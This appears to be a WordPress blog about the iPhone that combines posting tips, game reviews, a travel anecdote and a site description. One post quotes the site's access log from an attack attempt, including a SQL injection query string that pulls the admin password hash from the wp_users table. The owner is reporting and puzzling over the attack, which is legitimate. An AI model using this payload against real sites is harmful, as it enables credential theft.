IPhone Cafe

iPhone Cafe posts are written using WordPress  (an Open Source weblog application) but are displayed using WordPress or Apple’s iPhone.  WordPress content doesn’t display exactly the same on the iPhone’s Safari browser as it does in an IE browser. However, you can compensate for the differences between displays. 

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Here are some tips to consider when writing posts for iPhone Cafe and remembering that the text needs to render within both WordPress and the iPhone. First thing, the iPhone display has trouble with vertical spacing.  Fix this by inserted indented text or symbols.  For instance:

• Separate paragraphs useing three centered asterisks
• Use indents for pictures
• Use indents for code samples.

I use three centered  asteriks as paragraph separators. These look okay within WordPress and on the iPhone.

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As a final step before closing out a new post, remember to review the post using iPhone’s Safari browser and make sure everything looks okay on the iPhone.

I traveled to Nebraska last week on business, and decided to take the opportunity to test out the Airplane Mode function on the iPhone.  I don’t normally listen to music on the plane, but as I waited at the boarding gate, a herd of hyperactive teenagers–all part of some school function and therefore particularly rowdy–hustled up to the gate.  I took one look (and listen), and whipped out the iPhone and earbuds.

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I am delighted to report that the Airplane Mode (hereafter referred to as AM) function is awesome, and eliminates the need to bring an extra mp3 player.  When AM is on, the phone cannot send nor receive signals, making it safe for use on board.  Of course, since all the games are web apps, I couldn’t access any of the games I had hotkeyed, which remains a huge annoyance for me.  The battery, even half-charged as it was, held up just fine on the 2.5 hour flight, with plenty of juice for me to make phone calls once I got to my hotel…funkyfresh

My current favorite iPhone game is from BinarySquare.  It’s called Spinblox, and it’s a match-three style game.  Starting off, the game drops three rows of colored blocks, which you tap and move blocks around the screen to create rows and columns of three or more.  As you level up, more colored blocks, and eventually iconed blocks are added to the mix, making it more difficult to create rows before the screen fills up.

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I love this game.  I play it obsessively, especially when I should be working instead.  I literally am playing right now as I type this review.  My only problem with the game play is there is no room for impatience in tapping the blocks.  If you don’t put enough pressure on the screen, it won’t register the touch, which means the difference between level up or starting over.  Other than that, it’s a simple, yet addictive game that has yet to get old for me, though I’ve been playing it for several weeks now and added it as a permanent icon to my home screen!

The other day I noticed an odd pattern in the access log file for my WordPress weblog.  The pattern went like this:

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87.118.110.20 - - [27/Mar/2008:14:51:47 -0700] “HEAD /wpblog/wp-login.php?action=logout HTTP/1.0″ 302 0 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)” “core3.com”
87.118.110.20 - - [27/Mar/2008:14:51:47 -0700] “POST /wpblog/wp-admin/admin-ajax.php HTTP/1.0″ 404 275 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)” “core3.com”
87.118.110.20 - - [27/Mar/2008:14:51:49 -0700] “GET /wpblog/xmlrpc.php HTTP/1.0″ 200 42 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)” “core3.com”
87.118.110.20 - - [27/Mar/2008:14:51:46 -0700] “HEAD /wpblog/wp-admin/ HTTP/1.0″ 302 0 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)” “core3.com”
87.118.110.20 - - [27/Mar/2008:14:51:50 -0700] “POST /wpblog/xmlrpc.php HTTP/1.0″ 200 774 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)” “core3.com”
87.118.110.20 - - [27/Mar/2008:14:51:52 -0700] “POST /wpblog/wp-trackback.php?tb_id=1 HTTP/1.0″ 200 464 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)” “core3.com”
87.118.110.20 - - [27/Mar/2008:14:51:52 -0700] “POST /wpblog/wp-trackback.php?tb_id=1 HTTP/1.0″ 200 141 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)” “core3.com”
[repeat 50 times] 
87.118.110.20 - - [27/Mar/2008:14:52:34 -0700] “GET /wpblog/index.php?cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* HTTP/1.0″ 200 15947 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)” “core3.com”

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Googling on wp-trackback.php produced a list of matches including a page titled Wordpress WP-Trackback.PHP SQL Injection Vulnerability which describes a flaw in Wordpress 1.5 that allows SQL to be run against the MySQL database which drives Wordpress. 

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The last transaction of the block contained the following code which looks like a SQL query of passwords from the wp_users table where id is 1.

cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FROM+wp_users+where+id=1 

Nice………  Does the “where id = 1″ mean someone was fishing for the admin password?

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Being curious, I googled 87.118.110.20 which is the originating IP address for the transactions. Maybe I shouldn’t have been surprised. The IP address 87.118.110.20 appears on sites like www.gslzcmso.chinasafety.gov.cn/bguest.php,  www.winsuntex.com/bguest.php, www.zczj.gov.cn/bguest.php, and www.kaifaqu.gov.cn/com/xcliguang/bguest.php.

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What does it mean? Did someone from south east Asia get the admin password for iPhone Cafe?  You tell me. I’m running Wordpress version 2.0 which includes the fix for a SQL Injection Attack, so I guess iPhone Cafe is safe… for now….. 

See How to create iPhone icons and separate page icons for a method to create your own iPhone icons.

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Another potentially cool and useful page is a “comment” titled “iPhone Images Descriptions and Locations List” which provides a list of iPhone icon images and their associated folder paths.

Just got an iPhone and have been trying to figure out how to play games on it.  It took me a couple days, but I finally realized that you can’t download games to the phone like you can on most other cell phones.  Instead, you have to go to the iTunes website and play these little web apps games directly from the Internet (assuming you can find the games, that is.  Trying to navigate through the iTunes website on the iPhone screen is like embarking on a Grail Quest–you really have to want to find the games sections to endure all the midget print and impossibly tiny links).

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My first issue with the games is the fact that you have to play from the Internet.  This means you have to be able to access the Internet.  I spend a lot of time in the subway here, and my phone has no connection with the outside world when I’m down there, so I don’t get to play games while I’m waiting for my trains to come, and that sucks.  My second issue is that the touch screen, while very responsive for simple things like typing or dialing numbers, isn’t quite fast enough to properly keep up with the frantic pace of some of these games.  Also, you have to have freakishly thin fingertips if you want to touch the screen with any precision.

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That said, there is this one game, called iPipes, that I’m pretty addicted to.  The goal is connect pipe pieces together before this toxic-looking ooze rolls through them.  Simple, but fun.  I was wondering if there are games available other than on the iTunes site, or if anyone has games that they would recommend?  Thanks!

See Recent Posts on iPhone Cafe….

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Owners of iPhones shouldn’t need to weed through web sites designed for large displays and cable network connections.  iPhone Cafe began as an idea…. attach an iPhone user interface to a Word Press weblog and maximize download performance because you never know when you’ll use the iPhone browser outside of WiFI range.

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iPhone Cafe content covers ”Everything about the iPhone” which means there’s no single theme.  The weblog aims at iPhone audiences ranging from ”new users” to “tech gurus”. 

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Use IPhone Cafe’s  search page to locate posts on topics like iphone, SIM, audio, safari, contact import, autocorrect, brick, round, game, perl, php and many others.

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Use the ”Categories” option to filter the view of weblog posts. Categories include IPhone hardware, Contact Import, IPhone software, training and tips for owners and application developers. Additional categories can be created after registering.

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Anyone can post a message after signing up for the weblog. Posts are displayed in two locations; first, they display on a desktop browser using the WordPress interface; they also display on iPhone’s Safari browser using a view customized for the iPhone using larger fonts and fewer images.

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The web address to create or read posts by desktop browser or by IPhone browser is the same:  http://core3.com/icore. 

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Before posting, use the registration page from a desktop browser to create an account.  For IPhone users,  a help page is provided.

-Tony